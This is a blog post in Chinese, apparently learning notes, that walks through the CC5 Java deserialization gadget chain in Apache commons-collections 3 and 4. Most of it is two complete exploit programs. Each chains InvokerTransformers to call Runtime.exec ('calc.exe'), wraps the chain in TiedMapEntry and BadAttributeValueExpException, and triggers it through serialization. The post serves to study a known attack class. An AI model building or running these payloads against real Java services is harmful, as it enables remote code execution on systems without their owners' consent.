java反序列化----CC5利用链学习笔记(基于commons-collections3和4)

java反序列化----CC5利用链学习笔记

环境配置

jdk8u(无java版本要求)
pom.xml中写入

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

CC1的LazyMap利用链(但是使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类)
因为jdk8u71之后CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,
并且还用了TiedMapEntry类来调用LazyMap的get方法
java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)
前半部分payload和CC1的大体相同

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

TiedMapEntry

TiedMapEntry实现了Serializable接口,并在getValue方法中调用了map.get方法,map是Map类型,可以把LazyMap类型参数传入进去



getValue方法是在toString方法中被调用

现在我们要找到一个类重写了readObject方法并且readObject方法可以调用toString方法

BadAttributeValueExpException

BadAttributeValueExpException类中发现调用了toString方法

所以可以将LazyMap类当做参数传入TiedMapEntry类中,通过观察构造函数发现还得传入一个Object key参数(可以随便传)

然后再通过反射将TiedMapEntry类赋给val值

最终EXP:

package cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws Exception {
        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
        oos.writeObject(badAttributeValueExpException);

        //发序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.txt"));
        ois.readObject();

    }
}

将commons-collections3改为4的payload

package cc5;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5_2 {
    public static void main(String[] args) throws Exception {
        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map hashMap = new HashMap();
        Class<DefaultedMap> c = DefaultedMap.class;
        Constructor<DefaultedMap> constructor = c.getDeclaredConstructor(Map.class,Transformer.class);
        constructor.setAccessible(true);
        DefaultedMap lazyMap = constructor.newInstance(hashMap,chainedTransformer);//LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5_2.txt"));
        oos.writeObject(badAttributeValueExpException);

        //发序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5_2.txt"));
        ois.readObject();
    }
}

参考文章

https://www.cnblogs.com/1vxyz/p/17473581.html
https://blog.csdn.net/qq_35733751/article/details/119077706

posted @ 2023-11-19 15:40  BattleofZhongDinghe  阅读(79)  评论(0编辑  收藏  举报